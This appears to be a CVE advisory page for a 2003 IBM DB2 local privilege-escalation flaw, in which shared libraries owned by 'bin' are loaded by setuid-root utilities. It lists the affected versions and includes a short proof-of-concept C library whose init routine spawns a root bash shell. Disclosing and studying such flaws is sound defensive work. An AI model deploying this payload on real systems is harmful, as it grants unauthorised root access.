IBM DB2 Shared Library Injection Vulnerability

BID:8346

Info

IBM DB2 Shared Library Injection Vulnerability

Bugtraq ID: 8346
Class: Configuration Error
CVE: CVE-2003-1052
Remote: No
Local: Yes
Published: Aug 05 2003 12:00AM
Updated: Jul 11 2009 10:56PM
Credit: Announced by Juan Manuel Pascual Escriba <[email protected]>.
Vulnerable: IBM DB2 Universal Database for Solaris 8.1
IBM DB2 Universal Database for Solaris 8.0
IBM DB2 Universal Database for Solaris 7.2
IBM DB2 Universal Database for Solaris 7.1
IBM DB2 Universal Database for Solaris 7.0
IBM DB2 Universal Database for Solaris 6.1
IBM DB2 Universal Database for Solaris 6.0
IBM DB2 Universal Database for Linux 8.1
IBM DB2 Universal Database for Linux 8.0
IBM DB2 Universal Database for Linux 7.2
IBM DB2 Universal Database for Linux 7.1
IBM DB2 Universal Database for Linux 7.0
IBM DB2 Universal Database for Linux 6.1
- Caldera OpenLinux 2.4
- Redhat Linux 7.0
- SuSE Linux 7.0
- Turbolinux Turbolinux 6.0.4
IBM DB2 Universal Database for Linux 6.0
IBM DB2 Universal Database for HP-UX 8.1
IBM DB2 Universal Database for HP-UX 8.0
IBM DB2 Universal Database for HP-UX 7.2
IBM DB2 Universal Database for HP-UX 7.1
IBM DB2 Universal Database for HP-UX 7.0
IBM DB2 Universal Database for HP-UX 6.1
IBM DB2 Universal Database for HP-UX 6.0
IBM DB2 Universal Database for AIX 8.1
IBM DB2 Universal Database for AIX 8.0
IBM DB2 Universal Database for AIX 7.2
IBM DB2 Universal Database for AIX 7.1
IBM DB2 Universal Database for AIX 7.0
IBM DB2 Universal Database for AIX 6.1
IBM DB2 Universal Database for AIX 6.0
Not Vulnerable:

Discussion

IBM DB2 Shared Library Injection Vulnerability

IBM DB2 ships with a number of shared libraries, stored in a directory owned by the user and group 'bin'. As setuid root utilities are linked to these libraries, their ownership by a user and group of a lower privilege level constitutes a vulnerability. If an attacker can obtain user or group bin privileges, the shared libraries can be overwritten with malicious replacements designed to obtain root privileges from the setuid root utilities that use them.

Exploit / POC

IBM DB2 Shared Library Injection Vulnerability

The following malicious shared library or exploit can be used:

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
system("/bin/bash");
printf("Saliendo del Init()\n");
}

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report